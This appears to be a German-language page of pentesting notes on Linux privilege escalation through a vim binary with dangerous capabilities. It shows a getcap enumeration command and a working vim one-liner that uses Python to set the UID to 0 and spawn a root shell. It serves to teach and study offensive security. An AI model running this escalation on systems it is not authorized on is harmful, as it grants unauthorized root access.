> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/privesc/capabilities/capabilities-vim-linux-privilege-escalation.md).

# Capabilities (Vim) - Linux-Privilegieneskalation

## Was es ist

Linux-Capabilities teilen Root-Rechte in granulare Berechtigungen auf, die Binärdateien zugewiesen werden können. Gefährliche Capabilities wie `cap_setuid+ep`, `cap_dac_read_search+ep`, oder Dateischreibfunktionen können normale Benutzerbeschränkungen umgehen. Diese spezielle Seite konzentriert sich auf **Fähigkeiten (Vim)** und hält den Ausnutzungsablauf praxisnah: Bedingung identifizieren, sicher validieren und dann die kleinste nötige Nutzlast ausführen, um die Auswirkungen zu belegen.

## Enumeration

Beginnen Sie damit, den lokalen Kontext und die genaue Fehlkonfiguration zu bestätigen, bevor Sie den Exploit-Pfad ausführen.

```bash
getcap -r / 2>/dev/null
```

## Beispiele

Wenn wir die Capabilities filtern, erscheint vim:

```bash
getcap -r / 2>/dev/null
```

Wir verwenden das [gtfobins](https://gtfobins.github.io/#+capabilities) Webseite für Hilfe.

<figure><img src="/files/d1256644d9c0a2477aaff336d28a90ace724a406" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/71bac69f6adc27b99405e2921c3236091de95045" alt=""><figcaption></figcaption></figure>

```bash
vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
```

<figure><img src="/files/a080f0cae8bd4acdf1cad03e16c7e347320e1a95" alt=""><figcaption></figcaption></figure>


---

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